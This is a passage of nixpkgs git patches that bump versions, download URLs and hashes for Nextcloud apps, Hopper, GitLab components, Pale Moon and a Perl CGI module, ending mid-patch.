diff --git a/pkgs/servers/nextcloud/default.nix b/pkgs/servers/nextcloud/default.nix
index 5de8ebe75388..38b967095c78 100644
--- a/pkgs/servers/nextcloud/default.nix
+++ b/pkgs/servers/nextcloud/default.nix
@@ -65,8 +65,8 @@ in
   };
 
   nextcloud31 = generic {
-    version = "31.0.7";
-    hash = "sha256-ACpdA64Fp/DDBWlH1toLeaRNPXIPVyj+UVWgxaO07Gk=";
+    version = "31.0.8";
+    hash = "sha256-YhF9t4P+d1Z3zotoD0tIwTuVkWV/7TtQi9w6MrQRXLA=";
     packages = nextcloud31Packages;
   };
 

From 62917c9960cfe1c63c78a8067b16a82fe9454a2a Mon Sep 17 00:00:00 2001
From: provokateurin <kate@provokateurin.de>
Date: Mon, 18 Aug 2025 18:37:48 +0200
Subject: [PATCH 4009/4511] nextcloudPackages.apps: update

(cherry picked from commit 23f673bbc6bf13ae7a315c80125bc7e922297cc7)
---
 pkgs/servers/nextcloud/packages/30.json | 36 ++++++++++++-------------
 pkgs/servers/nextcloud/packages/31.json | 32 +++++++++++-----------
 2 files changed, 34 insertions(+), 34 deletions(-)

diff --git a/pkgs/servers/nextcloud/packages/30.json b/pkgs/servers/nextcloud/packages/30.json
index cac44ebb0def..82fa026f50ee 100644
--- a/pkgs/servers/nextcloud/packages/30.json
+++ b/pkgs/servers/nextcloud/packages/30.json
@@ -40,9 +40,9 @@
     ]
   },
   "contacts": {
-    "hash": "sha256-D0p9ny3KeuBdWVirQUDb4gq+eCusZKrDxJ+UAjEJz84=",
-    "url": "https://github.com/nextcloud-releases/contacts/releases/download/v7.2.4/contacts-v7.2.4.tar.gz",
-    "version": "7.2.4",
+    "hash": "sha256-A8dFfPee4Te1zbLaJfohuyxnMbaysmfDa3hicJnqfkM=",
+    "url": "https://github.com/nextcloud-releases/contacts/releases/download/v7.2.5/contacts-v7.2.5.tar.gz",
+    "version": "7.2.5",
     "description": "The Nextcloud contacts app is a user interface for Nextcloud's CardDAV server. Easily sync contacts from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Currently Mail and Calendar – more to come.\n* 🎉 **Never forget a birthday!** You can sync birthdays and other recurring events with your Nextcloud Calendar.\n* 👥 **Sharing of Adressbooks!** You want to share your contacts with your friends or coworkers? No problem!\n* 🙈 **We’re not reinventing the wheel!** Based on the great and open SabreDAV library.",
     "homepage": "https://github.com/nextcloud/contacts#readme",
     "licenses": [
@@ -210,8 +210,8 @@
     ]
   },
   "maps": {
-    "hash": "sha256-E0S/CwXyye19lcuiONEQCyHJqlL0ZG1A9Q7oOTEZH1g=",
-    "url": "https://github.com/nextcloud/maps/releases/download/v1.6.0-3-nightly/maps-1.6.0-3-nightly.tar.gz",
+    "hash": "sha256-IupRymjs955TiUutzoTTMeESNfBmAp51l+oBaZwfdN0=",
+    "url": "https://github.com/nextcloud/maps/releases/download/v1.6.0/maps-1.6.0.tar.gz",
     "version": "1.6.0",
     "description": "**The whole world fits inside your cloud!**\n\n- **🗺 Beautiful map:** Using [OpenStreetMap](https://www.openstreetmap.org) and [Leaflet](https://leafletjs.com), you can choose between standard map, satellite, topographical, dark mode or even watercolor! 🎨\n- **⭐ Favorites:** Save your favorite places, privately! Sync with [GNOME Maps](https://github.com/nextcloud/maps/issues/30) and mobile apps is planned.\n- **🧭 Routing:** Possible using either [OSRM](http://project-osrm.org), [GraphHopper](https://www.graphhopper.com) or [Mapbox](https://www.mapbox.com).\n- **🖼 Photos on the map:** No more boring slideshows, just show directly where you were!\n- **🙋 Contacts on the map:** See where your friends live and plan your next visit.\n- **📱 Devices:** Lost your phone? Check the map!\n- **〰 Tracks:** Load GPS tracks or past trips. Recording with [PhoneTrack](https://f-droid.org/en/packages/net.eneiluj.nextcloud.phonetrack/) or [OwnTracks](https://owntracks.org) is planned.",
     "homepage": "https://github.com/nextcloud/maps",
@@ -260,9 +260,9 @@
     ]
   },
   "notes": {
-    "hash": "sha256-WpxRJ45N+aO+cOp5u6+uwlijzofpmdcUg07ax3p3WDA=",
-    "url": "https://github.com/nextcloud-releases/notes/releases/download/v4.12.2/notes-v4.12.2.tar.gz",
-    "version": "4.12.2",
+    "hash": "sha256-tFR9r5kmR7Egczt62I7k8JUllAc4cNu95d3NSUGD108=",
+    "url": "https://github.com/nextcloud-releases/notes/releases/download/v4.12.3/notes-v4.12.3.tar.gz",
+    "version": "4.12.3",
     "description": "The Notes app is a distraction free notes taking app for [Nextcloud](https://www.nextcloud.com/). It provides categories for better organization and supports formatting using [Markdown](https://en.wikipedia.org/wiki/Markdown) syntax. Notes are saved as files in your Nextcloud, so you can view and edit them with every Nextcloud client. Furthermore, a separate [REST API](https://github.com/nextcloud/notes/blob/master/docs/api/README.md) allows for an easy integration into apps ([Android](https://github.com/nextcloud/notes-android), [iOS](https://github.com/nextcloud/notes-ios), as well as [3rd-party apps](https://github.com/nextcloud/notes/wiki#3rd-party-clients) which allow convenient access to your Nextcloud notes). Further features include marking notes as favorites.",
     "homepage": "https://github.com/nextcloud/notes",
     "licenses": [
@@ -280,10 +280,10 @@
     ]
   },
   "onlyoffice": {
-    "hash": "sha256-Nj8siAeNyN/lyq+K5y92ZXMqRLmhawtR9Q6b5dq7LL0=",
-    "url": "https://github.com/ONLYOFFICE/onlyoffice-nextcloud/releases/download/v9.9.0/onlyoffice.tar.gz",
-    "version": "9.9.0",
-    "description": "ONLYOFFICE app allows you to view, edit and collaborate on text documents, spreadsheets and presentations within Nextcloud using ONLYOFFICE Docs. This will create a new Edit in ONLYOFFICE action within the document library for Office documents. This allows multiple users to co-author documents in real time from the familiar web interface and save the changes back to your file storage.",
+    "hash": "sha256-JNAQQK1jA2RI3aDuIXw7NC047oXSZKkzkVjZbw8BxXs=",
+    "url": "https://github.com/ONLYOFFICE/onlyoffice-nextcloud/releases/download/v9.10.0/onlyoffice.tar.gz",
+    "version": "9.10.0",
+    "description": "The ONLYOFFICE app for Nextcloud brings powerful document editing and collaboration tools directly to your Nextcloud environment. With this integration, you can seamlessly create, edit, and co-author text documents, spreadsheets, presentations, and PDFs, as well as build and fill out PDF forms.\n\nCollaborate with your team in real time, make use of Track Changes, version history, comments, integrated chat, and more. Work together on files with federated cloud sharing. Flexible access permissions allow you to control who can view, edit, or comment, ensuring secure role-based collaboration tailored to your needs. Documents can also be protected with watermarks, password settings, and encryption for added security.\n\nThe app offers support for over 50 file formats, including DOCX, XLSX, PPTX, PDF, RTF, TXT, CSV, ODT, ODS, ODP, EPUB, FB2, HTML, HWP, HWPX, Pages, Numbers, Keynote, etc. Seamless desktop and mobile app integration means you'll have access to your Nextcloud files wherever you go.\n\nFurthermore, you can seamlessly connect any AI assistant, including local ones, directly to the editors to work faster and more efficient. This allows you to leverage various AI models for tasks like chatbot interactions, translations, OCR, and more.\n\nWhether you’re working with internal teams or external collaborators, the ONLYOFFICE app for Nextcloud enhances productivity, simplifies workflows, and ensures your files remain secure.",
     "homepage": "https://www.onlyoffice.com",
     "licenses": [
       "agpl"
@@ -460,9 +460,9 @@
     ]
   },
   "user_saml": {
-    "hash": "sha256-MS1+fiDTufQXtKCG/45B2hQEfAVbsZb+TZb74f4EvAE=",
-    "url": "https://github.com/nextcloud-releases/user_saml/releases/download/v6.6.0/user_saml-v6.6.0.tar.gz",
-    "version": "6.6.0",
+    "hash": "sha256-kE51sQWjGzDbJxgRQNFmexcW+s9/6lcbW2Rxf+Tj6hA=",
+    "url": "https://github.com/nextcloud-releases/user_saml/releases/download/v7.0.0/user_saml-v7.0.0.tar.gz",
+    "version": "7.0.0",
     "description": "Using the SSO & SAML app of your Nextcloud you can make it easily possible to integrate your existing Single-Sign-On solution with Nextcloud. In addition, you can use the Nextcloud LDAP user provider to keep the convenience for users. (e.g. when sharing)\nThe following providers are supported and tested at the moment:\n\n* **SAML 2.0**\n\t* OneLogin\n\t* Shibboleth\n\t* Active Directory Federation Services (ADFS)\n\n* **Authentication via Environment Variable**\n\t* Kerberos (mod_auth_kerb)\n\t* Any other provider that authenticates using the environment variable\n\nWhile theoretically any other authentication provider implementing either one of those standards is compatible, we like to note that they are not part of any internal test matrix.",
     "homepage": "https://github.com/nextcloud/user_saml",
     "licenses": [
@@ -470,9 +470,9 @@
     ]
   },
   "whiteboard": {
-    "hash": "sha256-njiTDKDiwDeOH9biOohIQueAI8/pSijWy8EDXHoVeQo=",
-    "url": "https://github.com/nextcloud-releases/whiteboard/releases/download/v1.1.2/whiteboard-v1.1.2.tar.gz",
-    "version": "1.1.2",
+    "hash": "sha256-oNu4q/s+77+h4xDhfwn4y3bQ6hxooj9gG2FC38EY8gY=",
+    "url": "https://github.com/nextcloud-releases/whiteboard/releases/download/v1.1.3/whiteboard-v1.1.3.tar.gz",
+    "version": "1.1.3",
     "description": "The official whiteboard app for Nextcloud. It allows users to create and share whiteboards with other users and collaborate in real-time.\n\n**Whiteboard requires a separate collaboration server to work.** Please see the [documentation](https://github.com/nextcloud/whiteboard?tab=readme-ov-file#backend) on how to install it.\n\n- 🎨 Drawing shapes, writing text, connecting elements\n- 📝 Real-time collaboration\n- 🖼️ Add images with drag and drop\n- 📊 Easily add mermaid diagrams\n- ✨ Use the Smart Picker to embed other elements from Nextcloud\n- 📦 Image export\n- 💪 Strong foundation: We use Excalidraw as our base library",
     "homepage": "https://github.com/nextcloud/whiteboard",
     "licenses": [
diff --git a/pkgs/servers/nextcloud/packages/31.json b/pkgs/servers/nextcloud/packages/31.json
index 1c2673ecbc1c..48d6690aac38 100644
--- a/pkgs/servers/nextcloud/packages/31.json
+++ b/pkgs/servers/nextcloud/packages/31.json
@@ -40,9 +40,9 @@
     ]
   },
   "contacts": {
-    "hash": "sha256-D0p9ny3KeuBdWVirQUDb4gq+eCusZKrDxJ+UAjEJz84=",
-    "url": "https://github.com/nextcloud-releases/contacts/releases/download/v7.2.4/contacts-v7.2.4.tar.gz",
-    "version": "7.2.4",
+    "hash": "sha256-A8dFfPee4Te1zbLaJfohuyxnMbaysmfDa3hicJnqfkM=",
+    "url": "https://github.com/nextcloud-releases/contacts/releases/download/v7.2.5/contacts-v7.2.5.tar.gz",
+    "version": "7.2.5",
     "description": "The Nextcloud contacts app is a user interface for Nextcloud's CardDAV server. Easily sync contacts from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Currently Mail and Calendar – more to come.\n* 🎉 **Never forget a birthday!** You can sync birthdays and other recurring events with your Nextcloud Calendar.\n* 👥 **Sharing of Adressbooks!** You want to share your contacts with your friends or coworkers? No problem!\n* 🙈 **We’re not reinventing the wheel!** Based on the great and open SabreDAV library.",
     "homepage": "https://github.com/nextcloud/contacts#readme",
     "licenses": [
@@ -260,9 +260,9 @@
     ]
   },
   "notes": {
-    "hash": "sha256-WpxRJ45N+aO+cOp5u6+uwlijzofpmdcUg07ax3p3WDA=",
-    "url": "https://github.com/nextcloud-releases/notes/releases/download/v4.12.2/notes-v4.12.2.tar.gz",
-    "version": "4.12.2",
+    "hash": "sha256-tFR9r5kmR7Egczt62I7k8JUllAc4cNu95d3NSUGD108=",
+    "url": "https://github.com/nextcloud-releases/notes/releases/download/v4.12.3/notes-v4.12.3.tar.gz",
+    "version": "4.12.3",
     "description": "The Notes app is a distraction free notes taking app for [Nextcloud](https://www.nextcloud.com/). It provides categories for better organization and supports formatting using [Markdown](https://en.wikipedia.org/wiki/Markdown) syntax. Notes are saved as files in your Nextcloud, so you can view and edit them with every Nextcloud client. Furthermore, a separate [REST API](https://github.com/nextcloud/notes/blob/master/docs/api/README.md) allows for an easy integration into apps ([Android](https://github.com/nextcloud/notes-android), [iOS](https://github.com/nextcloud/notes-ios), as well as [3rd-party apps](https://github.com/nextcloud/notes/wiki#3rd-party-clients) which allow convenient access to your Nextcloud notes). Further features include marking notes as favorites.",
     "homepage": "https://github.com/nextcloud/notes",
     "licenses": [
@@ -280,10 +280,10 @@
     ]
   },
   "onlyoffice": {
-    "hash": "sha256-Nj8siAeNyN/lyq+K5y92ZXMqRLmhawtR9Q6b5dq7LL0=",
-    "url": "https://github.com/ONLYOFFICE/onlyoffice-nextcloud/releases/download/v9.9.0/onlyoffice.tar.gz",
-    "version": "9.9.0",
-    "description": "ONLYOFFICE app allows you to view, edit and collaborate on text documents, spreadsheets and presentations within Nextcloud using ONLYOFFICE Docs. This will create a new Edit in ONLYOFFICE action within the document library for Office documents. This allows multiple users to co-author documents in real time from the familiar web interface and save the changes back to your file storage.",
+    "hash": "sha256-JNAQQK1jA2RI3aDuIXw7NC047oXSZKkzkVjZbw8BxXs=",
+    "url": "https://github.com/ONLYOFFICE/onlyoffice-nextcloud/releases/download/v9.10.0/onlyoffice.tar.gz",
+    "version": "9.10.0",
+    "description": "The ONLYOFFICE app for Nextcloud brings powerful document editing and collaboration tools directly to your Nextcloud environment. With this integration, you can seamlessly create, edit, and co-author text documents, spreadsheets, presentations, and PDFs, as well as build and fill out PDF forms.\n\nCollaborate with your team in real time, make use of Track Changes, version history, comments, integrated chat, and more. Work together on files with federated cloud sharing. Flexible access permissions allow you to control who can view, edit, or comment, ensuring secure role-based collaboration tailored to your needs. Documents can also be protected with watermarks, password settings, and encryption for added security.\n\nThe app offers support for over 50 file formats, including DOCX, XLSX, PPTX, PDF, RTF, TXT, CSV, ODT, ODS, ODP, EPUB, FB2, HTML, HWP, HWPX, Pages, Numbers, Keynote, etc. Seamless desktop and mobile app integration means you'll have access to your Nextcloud files wherever you go.\n\nFurthermore, you can seamlessly connect any AI assistant, including local ones, directly to the editors to work faster and more efficient. This allows you to leverage various AI models for tasks like chatbot interactions, translations, OCR, and more.\n\nWhether you’re working with internal teams or external collaborators, the ONLYOFFICE app for Nextcloud enhances productivity, simplifies workflows, and ensures your files remain secure.",
     "homepage": "https://www.onlyoffice.com",
     "licenses": [
       "agpl"
@@ -460,9 +460,9 @@
     ]
   },
   "user_saml": {
-    "hash": "sha256-MS1+fiDTufQXtKCG/45B2hQEfAVbsZb+TZb74f4EvAE=",
-    "url": "https://github.com/nextcloud-releases/user_saml/releases/download/v6.6.0/user_saml-v6.6.0.tar.gz",
-    "version": "6.6.0",
+    "hash": "sha256-kE51sQWjGzDbJxgRQNFmexcW+s9/6lcbW2Rxf+Tj6hA=",
+    "url": "https://github.com/nextcloud-releases/user_saml/releases/download/v7.0.0/user_saml-v7.0.0.tar.gz",
+    "version": "7.0.0",
     "description": "Using the SSO & SAML app of your Nextcloud you can make it easily possible to integrate your existing Single-Sign-On solution with Nextcloud. In addition, you can use the Nextcloud LDAP user provider to keep the convenience for users. (e.g. when sharing)\nThe following providers are supported and tested at the moment:\n\n* **SAML 2.0**\n\t* OneLogin\n\t* Shibboleth\n\t* Active Directory Federation Services (ADFS)\n\n* **Authentication via Environment Variable**\n\t* Kerberos (mod_auth_kerb)\n\t* Any other provider that authenticates using the environment variable\n\nWhile theoretically any other authentication provider implementing either one of those standards is compatible, we like to note that they are not part of any internal test matrix.",
     "homepage": "https://github.com/nextcloud/user_saml",
     "licenses": [
@@ -470,9 +470,9 @@
     ]
   },
   "whiteboard": {
-    "hash": "sha256-njiTDKDiwDeOH9biOohIQueAI8/pSijWy8EDXHoVeQo=",
-    "url": "https://github.com/nextcloud-releases/whiteboard/releases/download/v1.1.2/whiteboard-v1.1.2.tar.gz",
-    "version": "1.1.2",
+    "hash": "sha256-oNu4q/s+77+h4xDhfwn4y3bQ6hxooj9gG2FC38EY8gY=",
+    "url": "https://github.com/nextcloud-releases/whiteboard/releases/download/v1.1.3/whiteboard-v1.1.3.tar.gz",
+    "version": "1.1.3",
     "description": "The official whiteboard app for Nextcloud. It allows users to create and share whiteboards with other users and collaborate in real-time.\n\n**Whiteboard requires a separate collaboration server to work.** Please see the [documentation](https://github.com/nextcloud/whiteboard?tab=readme-ov-file#backend) on how to install it.\n\n- 🎨 Drawing shapes, writing text, connecting elements\n- 📝 Real-time collaboration\n- 🖼️ Add images with drag and drop\n- 📊 Easily add mermaid diagrams\n- ✨ Use the Smart Picker to embed other elements from Nextcloud\n- 📦 Image export\n- 💪 Strong foundation: We use Excalidraw as our base library",
     "homepage": "https://github.com/nextcloud/whiteboard",
     "licenses": [

From 3a6628548a9a964a5c6fb0e2cd4b21757d2c7ce5 Mon Sep 17 00:00:00 2001
From: Tim Schumacher <timschumi@gmx.de>
Date: Sun, 17 Aug 2025 16:45:03 +0200
Subject: [PATCH 4010/4511] hopper: fix up the download URL

Downloads have moved from the `hopperv4` directory to the `public`
directory at some point.

(cherry picked from commit ce1fd2787e182238c900203912a561eb2db95730)
---
 pkgs/development/tools/analysis/hopper/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/development/tools/analysis/hopper/default.nix b/pkgs/development/tools/analysis/hopper/default.nix
index b451763c4aa2..2f58352a5e38 100644
--- a/pkgs/development/tools/analysis/hopper/default.nix
+++ b/pkgs/development/tools/analysis/hopper/default.nix
@@ -16,7 +16,7 @@ stdenv.mkDerivation (finalAttrs: {
   rev = "v4";
 
   src = fetchurl {
-    url = "https://www.hopperapp.com/downloader/hopperv4/Hopper-${finalAttrs.rev}-${finalAttrs.version}-Linux-demo.pkg.tar.xz";
+    url = "https://www.hopperapp.com/downloader/public/Hopper-${finalAttrs.rev}-${finalAttrs.version}-Linux-demo.pkg.tar.xz";
     curlOptsList = [
       "--user-agent"
       "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"

From 2ad81b79c58a286e072e5931df2ddd9291b51f83 Mon Sep 17 00:00:00 2001
From: Tim Schumacher <timschumi@gmx.de>
Date: Sun, 17 Aug 2025 16:51:23 +0200
Subject: [PATCH 4011/4511] hopper: 5.18.0 -> 5.19.4

(cherry picked from commit 8ea7916703286490d9cbef1e81d3d877a14e5db3)
---
 pkgs/development/tools/analysis/hopper/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/tools/analysis/hopper/default.nix b/pkgs/development/tools/analysis/hopper/default.nix
index 2f58352a5e38..79a504f6267e 100644
--- a/pkgs/development/tools/analysis/hopper/default.nix
+++ b/pkgs/development/tools/analysis/hopper/default.nix
@@ -12,7 +12,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "hopper";
-  version = "5.18.0";
+  version = "5.19.4";
   rev = "v4";
 
   src = fetchurl {
@@ -23,7 +23,7 @@ stdenv.mkDerivation (finalAttrs: {
       "--referer"
       "https://www.hopperapp.com"
     ];
-    hash = "sha256-Z/Y+il5DTdssa2T0RDkDyco098o4JHKeLuwFUpJjgZ0=";
+    hash = "sha256-NYnMJK9F3YxspjriyiLM+vV1HpEunGvznOesQ/FpTl4=";
   };
 
   sourceRoot = ".";

From 9dcb2d494f65f75ab00a83a14233dd7173d09a38 Mon Sep 17 00:00:00 2001
From: Leona Maroni <dev@leona.is>
Date: Thu, 28 Aug 2025 09:25:15 +0200
Subject: [PATCH 4012/4511] gitlab: 18.2.2 -> 18.2.5

https://about.gitlab.com/releases/2025/08/27/patch-release-gitlab-18-3-1-released/
(cherry picked from commit a481b621204c0a610c11fcd067e1201e7d06ccf3)
---
 pkgs/by-name/gi/gitaly/package.nix                 |  4 ++--
 .../gi/gitlab-container-registry/package.nix       | 14 ++++----------
 pkgs/by-name/gi/gitlab-pages/package.nix           |  4 ++--
 pkgs/by-name/gi/gitlab-shell/package.nix           |  6 +++---
 pkgs/by-name/gi/gitlab/data.json                   | 14 +++++++-------
 .../by-name/gi/gitlab/gitlab-workhorse/default.nix |  2 +-
 pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock        |  2 +-
 pkgs/by-name/gi/gitlab/update.py                   |  2 +-
 8 files changed, 21 insertions(+), 27 deletions(-)

diff --git a/pkgs/by-name/gi/gitaly/package.nix b/pkgs/by-name/gi/gitaly/package.nix
index 884cb31f11cb..23e1808c6324 100644
--- a/pkgs/by-name/gi/gitaly/package.nix
+++ b/pkgs/by-name/gi/gitaly/package.nix
@@ -7,7 +7,7 @@
 }:
 
 let
-  version = "18.2.2";
+  version = "18.2.5";
   package_version = "v${lib.versions.major version}";
   gitaly_package = "gitlab.com/gitlab-org/gitaly/${package_version}";
 
@@ -21,7 +21,7 @@ let
       owner = "gitlab-org";
       repo = "gitaly";
       rev = "v${version}";
-      hash = "sha256-+OmduG9neb15m3i57qPfE42HI4w/zgmA5T6bhlwzrT0=";
+      hash = "sha256-/AyWxFUyNC0RCM4WMSlPrlh9okyZBacR2sPyzl9y4D0=";
     };
 
     vendorHash = "sha256-RjDV4NGmmdT9STQBHiYf3UUYwPmuSg6970/W/ekxin0=";
diff --git a/pkgs/by-name/gi/gitlab-container-registry/package.nix b/pkgs/by-name/gi/gitlab-container-registry/package.nix
index cbf8c0f80ede..8d5ad1b4970b 100644
--- a/pkgs/by-name/gi/gitlab-container-registry/package.nix
+++ b/pkgs/by-name/gi/gitlab-container-registry/package.nix
@@ -6,24 +6,18 @@
 
 buildGoModule rec {
   pname = "gitlab-container-registry";
-  version = "4.26.0";
-  rev = "v${version}-gitlab";
+  version = "4.27.0";
+  rev = "v${version}-gitlab-ahmed-master-test";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "container-registry";
     inherit rev;
-    hash = "sha256-XACKJW5sRXNM4Q24DXEVtjzhVfxoBd+JWHJr1s01ocA=";
+    hash = "sha256-lcM0HjseQ4N7rndDx95aC6MWb+Ggwz3UIhSvbC8oxus=";
   };
 
-  patches = [
-    # https://gitlab.com/gitlab-org/container-registry/-/merge_requests/2447
-    # Can be removed with next released when merged
-    ./fix-broken-urlcache-tests.diff
-  ];
-
-  vendorHash = "sha256-J4p3vXLmDFYl/z6crqanlmG1FB4Dq04HLx9IhC3usQ4=";
+  vendorHash = "sha256-ALPK9h5Isniis7QPz9DXokeBd+hWMDJ7ts9/sGNrFMk=";
 
   checkFlags =
     let
diff --git a/pkgs/by-name/gi/gitlab-pages/package.nix b/pkgs/by-name/gi/gitlab-pages/package.nix
index addefe9cbfe5..b577ff7d7b92 100644
--- a/pkgs/by-name/gi/gitlab-pages/package.nix
+++ b/pkgs/by-name/gi/gitlab-pages/package.nix
@@ -6,14 +6,14 @@
 
 buildGoModule rec {
   pname = "gitlab-pages";
-  version = "18.2.2";
+  version = "18.2.5";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-pages";
     rev = "v${version}";
-    hash = "sha256-PPa9SYyE3G+peP2xSpNw7WDDO7WiWKSRpd5tBODkA0g=";
+    hash = "sha256-21IsNcVkhtncum2miTOjuCcM681qYa+8e/5CCEiqz/Q=";
   };
 
   vendorHash = "sha256-OubXCpvGtGqegQmdb6R1zw/0DfQ4FdbJGt7qYYRnWnA=";
diff --git a/pkgs/by-name/gi/gitlab-shell/package.nix b/pkgs/by-name/gi/gitlab-shell/package.nix
index c12daca4cdc3..dcdb62eb5abe 100644
--- a/pkgs/by-name/gi/gitlab-shell/package.nix
+++ b/pkgs/by-name/gi/gitlab-shell/package.nix
@@ -8,14 +8,14 @@
 
 buildGoModule rec {
   pname = "gitlab-shell";
-  version = "14.43.0";
+  version = "14.44.0";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-shell";
     rev = "v${version}";
-    hash = "sha256-JBcfsOLutxHUk5z+vXP8CnVSmJazhqJk4fZ0vONIswo=";
+    hash = "sha256-y3CTfYN2QCWm2n534Bb8uS0Bzn4BsBuMtxAyuU3f+oI=";
   };
 
   buildInputs = [
@@ -27,7 +27,7 @@ buildGoModule rec {
     ./remove-hardcoded-locations.patch
   ];
 
-  vendorHash = "sha256-zuxgWBrrftkNjMhAXs8cAcQmb8RLQqvnFhU0HnUUcTA=";
+  vendorHash = "sha256-flLt2LdcSDIuoUr4mwfv6LOV9GPewf+o0rb8kyBsgSk=";
 
   subPackages = [
     "cmd/gitlab-shell"
diff --git a/pkgs/by-name/gi/gitlab/data.json b/pkgs/by-name/gi/gitlab/data.json
index e14fe7e4fd69..3771f4b53b3e 100644
--- a/pkgs/by-name/gi/gitlab/data.json
+++ b/pkgs/by-name/gi/gitlab/data.json
@@ -1,15 +1,15 @@
 {
-  "version": "18.2.2",
-  "repo_hash": "0fqpfprxmgxaz5g0d5z4gsir1zj9fkhli7iq1ahx413ymsiqrxd0",
+  "version": "18.2.5",
+  "repo_hash": "1q9scfy1r9570gvm3dyrsg2cmpyx94a33w6418q1gy0msiqncnqd",
   "yarn_hash": "0c6njrciqcjaswh784yxly4qza6k2ghq1ljbdkcn65cna4f4hwgk",
   "owner": "gitlab-org",
   "repo": "gitlab",
-  "rev": "v18.2.2-ee",
+  "rev": "v18.2.5-ee",
   "passthru": {
-    "GITALY_SERVER_VERSION": "18.2.2",
-    "GITLAB_PAGES_VERSION": "18.2.2",
-    "GITLAB_SHELL_VERSION": "14.43.0",
+    "GITALY_SERVER_VERSION": "18.2.5",
+    "GITLAB_PAGES_VERSION": "18.2.5",
+    "GITLAB_SHELL_VERSION": "14.44.0",
     "GITLAB_ELASTICSEARCH_INDEXER_VERSION": "5.7.0",
-    "GITLAB_WORKHORSE_VERSION": "18.2.2"
+    "GITLAB_WORKHORSE_VERSION": "18.2.5"
   }
 }
diff --git a/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix b/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
index 2bec55c36570..ceb9015c2fdd 100644
--- a/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
+++ b/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
@@ -10,7 +10,7 @@ in
 buildGoModule rec {
   pname = "gitlab-workhorse";
 
-  version = "18.2.2";
+  version = "18.2.5";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
diff --git a/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock b/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock
index 7b7363c6267c..f6972cb1ed10 100644
--- a/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock
+++ b/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock
@@ -2415,4 +2415,4 @@ DEPENDENCIES
   yard (~> 0.9)
 
 BUNDLED WITH
-   2.6.9
+   2.7.1
diff --git a/pkgs/by-name/gi/gitlab/update.py b/pkgs/by-name/gi/gitlab/update.py
index 0642e6140951..fa5ea1ae65d6 100755
--- a/pkgs/by-name/gi/gitlab/update.py
+++ b/pkgs/by-name/gi/gitlab/update.py
@@ -44,7 +44,7 @@ class GitLabRepo:
         # sort, but ignore v, -ee and -gitlab for sorting comparisons
         versions.sort(
             key=lambda x: Version(
-                x.replace("v", "").replace("-ee", "").replace("-gitlab", "")
+                x.replace("v", "").replace("-ee", "").replace("-gitlab", "").replace("-ahmed-master-test", "")
             ),
             reverse=True,
         )

From 28bf994c6c722f9f940b07971b111bee59d327a6 Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Wed, 27 Aug 2025 17:02:47 +0200
Subject: [PATCH 4013/4511] {palemoon-bin,palemoon-gtk2-bin}: 33.8.1.2 ->
 33.8.2

(cherry picked from commit 446a380b985fbccafa31a95bc978d564b914494c)
---
 pkgs/applications/networking/browsers/palemoon/bin.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/networking/browsers/palemoon/bin.nix b/pkgs/applications/networking/browsers/palemoon/bin.nix
index f126b71e64f3..c9960ceee70e 100644
--- a/pkgs/applications/networking/browsers/palemoon/bin.nix
+++ b/pkgs/applications/networking/browsers/palemoon/bin.nix
@@ -23,7 +23,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "palemoon-bin";
-  version = "33.8.1.2";
+  version = "33.8.2";
 
   src = finalAttrs.passthru.sources."gtk${if withGTK3 then "3" else "2"}";
 
@@ -173,11 +173,11 @@ stdenv.mkDerivation (finalAttrs: {
       {
         gtk3 = fetchzip {
           urls = urlRegionVariants "gtk3";
-          hash = "sha256-qgabtZ/8nBaOGP0pIXd/byd9XCxulT8w+7uczJE4SAg=";
+          hash = "sha256-W5N2OzHTYhJ7Lha/iduN7JPcczF+VPU9I36BAUiXUmU=";
         };
         gtk2 = fetchzip {
           urls = urlRegionVariants "gtk2";
-          hash = "sha256-qeA8EYRY9STsezWrvlVt73fgxPB0mynkxtTV71HFMgU=";
+          hash = "sha256-RmX/yCWHzZEdkh6TnUQ/guIc7+iEdpK8ANhJxL3MbzI=";
         };
       };
 

From 36ab4f0c4e1c477f938ecbe874a7e029e38a24fe Mon Sep 17 00:00:00 2001
From: Marcus Ramberg <marcus@means.no>
Date: Thu, 28 Aug 2025 22:45:15 +0200
Subject: [PATCH 4014/4511] perlPackages.CGISimple: 1.280 -> 1.282

(cherry picked from commit a47cf293c9df9e166069f000a5ccaa6f8432191c)
---
 pkgs/top-level/perl-packages.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix
index 3f3383d2ef78..0ecfb7c3a6fc 100644
--- a/pkgs/top-level/perl-packages.nix
+++ b/pkgs/top-level/perl-packages.nix
@@ -4598,10 +4598,10 @@ with self;
 
   CGISimple = buildPerlPackage {
     pname = "CGI-Simple";
-    version = "1.280";
+    version = "1.282";
     src = fetchurl {
-      url = "mirror://cpan/authors/id/M/MA/MANWAR/CGI-Simple-1.280.tar.gz";
-      hash = "sha256-GOAen/uBTl5O6neshImyBp/oNlGFUPN/bCIT61Wcar8=";
+      url = "mirror://cpan/authors/id/M/MA/MANWAR/CGI-Simple-1.282.tar.gz";
